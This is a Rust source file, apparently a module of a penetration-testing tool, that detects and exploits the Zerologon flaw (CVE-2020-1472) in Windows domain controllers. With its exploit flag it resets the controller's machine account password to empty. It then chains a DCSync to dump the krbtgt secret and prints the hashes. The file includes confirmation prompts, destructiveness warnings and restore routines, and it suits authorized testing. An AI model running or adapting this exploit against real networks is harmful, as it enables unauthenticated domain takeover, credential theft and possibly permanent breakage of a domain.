use anyhow::Result;
use clap::Parser;
use crate::ui;
#[derive(Parser)]
pub(crate) struct ZerologonArgs {
#[arg(long)]
pub host: String,
#[arg(long)]
pub netbios: String,
#[arg(long, default_value_t = 2000)]
pub attempts: u32,
#[arg(long)]
pub exploit: bool,
#[arg(long)]
pub yes: bool,
#[arg(long)]
pub confirm_brick_risk: bool,
#[arg(long, default_value = "")]
pub domain: String,
#[arg(long)]
pub restore: Option<String>,
#[arg(long)]
pub restore_password: Option<String>,
}
pub(crate) async fn zerologon(a: ZerologonArgs) -> Result<()> {
use dcerpc::netlogon::{
detect_zerologon, exploit_set_empty_password, restore_password, restore_password_cleartext,
Zerologon,
};
if let Some(pw) = &a.restore_password {
let sp = ui::Spinner::start(format!(
"{} — full restore of {}$ (cleartext)",
a.host, a.netbios
));
let ok = restore_password_cleartext(&a.host, &a.netbios, pw, a.attempts).await?;
if ok {
sp.done("restore accepted");
ui::ok(&format!(
"machine account {}$ fully restored (NT + AES) — reboot the DC to heal the secure channel.",
a.netbios
));
} else {
sp.done("restore not accepted");
ui::warn("NetrServerPasswordSet2 rejected (DC not vulnerable, or machine password not empty).");
}
return Ok(());
}
if let Some(hex) = &a.restore {
let nt = crate::parse_nt_hash(hex)?;
let sp = ui::Spinner::start(format!(
"{} — restoring {}$ machine hash via Netlogon",
a.host, a.netbios
));
let ok = restore_password(&a.host, &a.netbios, &nt, a.attempts).await?;
if ok {
sp.done("restore accepted");
ui::ok(&format!(
"machine account {}$ set back to {hex} — reboot the DC so LSASS re-reads the (now-matching) secret.",
a.netbios
));
} else {
sp.done("restore not accepted");
ui::warn("NetrServerPasswordSet was rejected (DC no longer vulnerable, or machine password is not empty).");
}
return Ok(());
}
let sp = ui::Spinner::start(format!(
"{} — Netlogon zero-auth probe (≤{} attempts)",
a.host, a.attempts
));
let vuln = match detect_zerologon(&a.host, &a.netbios, a.attempts).await? {
Zerologon::Vulnerable { attempts } => {
sp.done("probe complete");
ui::bad(&format!(
"VULNERABLE to Zerologon (CVE-2020-1472) — Netlogon accepted an unauthenticated \
all-zero secure channel after {attempts} attempt(s)"
));
ui::field(
"impact",
"an unauthenticated attacker can set the DC machine account password to empty → \
DCSync the domain → Domain Admin.",
);
ui::field(
"remediation",
"apply the August 2020 patch + enforce KB4557222.",
);
true
}
Zerologon::NotVulnerable { attempts } => {
sp.done("probe complete");
ui::ok(&format!(
"not vulnerable to Zerologon — all {attempts} attempts rejected (patched/enforced)"
));
false
}
};
if !a.exploit || !vuln {
if vuln {
ui::info("safe detection only — machine password untouched. Re-run with --exploit to prove impact.");
}
return Ok(());
}
ui::bad("EXPLOIT resets the DC machine account password to EMPTY. This is DESTRUCTIVE.");
ui::warn("It orphans the DC's secure channel and can PERMANENTLY BREAK a single-DC domain —");
ui::warn("restore requires the ORIGINAL machine secret and is NOT guaranteed on a lone DC.");
ui::warn(
"Only run against an authorized, RECOVERABLE target (multi-DC domain, or disposable).",
);
if !a.confirm_brick_risk {
ui::info(
"refusing to exploit: re-run with --confirm-brick-risk once you accept the above.",
);
return Ok(());
}
if !a.yes {
use std::io::Write;
print!("Proceed with exploitation? [y/N]: ");
std::io::stdout().flush().ok();
let mut line = String::new();
std::io::stdin().read_line(&mut line).ok();
if !line.trim().eq_ignore_ascii_case("y") {
ui::info("declined — machine password untouched.");
return Ok(());
}
}
let sp = ui::Spinner::start("resetting machine password to empty (Netlogon)");
let ok = exploit_set_empty_password(&a.host, &a.netbios, a.attempts).await?;
if !ok {
sp.done("reset not accepted");
ui::warn(
"NetrServerPasswordSet2 was rejected — the DC may be patched between probe and reset.",
);
return Ok(());
}
sp.done("machine password reset to EMPTY");
let empty_hash = "31d6cfe0d16ae931b73c59d7e0c089c0";
ui::field(
"account",
&format!("{}$ NT hash now = {empty_hash} (empty)", a.netbios),
);
let domain = if a.domain.is_empty() {
&a.netbios
} else {
&a.domain
};
ui::info("DCSync as the DC machine account (empty hash) — proving Domain Admin:");
let exe = std::env::current_exe().map_err(|e| anyhow::anyhow!("current_exe: {e}"))?;
let out = std::process::Command::new(&exe)
.args([
"attack",
"dcsync",
"--host",
&a.host,
"--domain",
domain,
"--user",
&format!("{}$", a.netbios),
"--password",
"",
"--target",
"krbtgt",
])
.output()
.map_err(|e| anyhow::anyhow!("spawn dcsync: {e}"))?;
let dump = String::from_utf8_lossy(&out.stdout);
let mut dumped = false;
for line in dump
.lines()
.filter(|l| l.contains(":::") || l.contains("aes256"))
{
println!(" {line}");
dumped = true;
}
if dumped {
ui::bad("Domain Admin proven — krbtgt secret replicated as the DC machine account (empty password).");
} else {
ui::warn("reset succeeded but DCSync-as-DC$ returned nothing (retry `attack dcsync --user <DC>$ --password \"\"`).");
}
ui::warn("machine password is left EMPTY — RESTORE it now to avoid orphaning the DC:");
ui::field(
"restore",
&format!(
"recover the ORIGINAL {}$ secret from the DC's LSA (secretsdump with a DCSync'd admin \
hash → $MACHINE.ACC) and set it back via NetrServerPasswordSet over a legitimate \
Netlogon channel. (Automated restore is the next build step.)",
a.netbios
),
);
Ok(())
}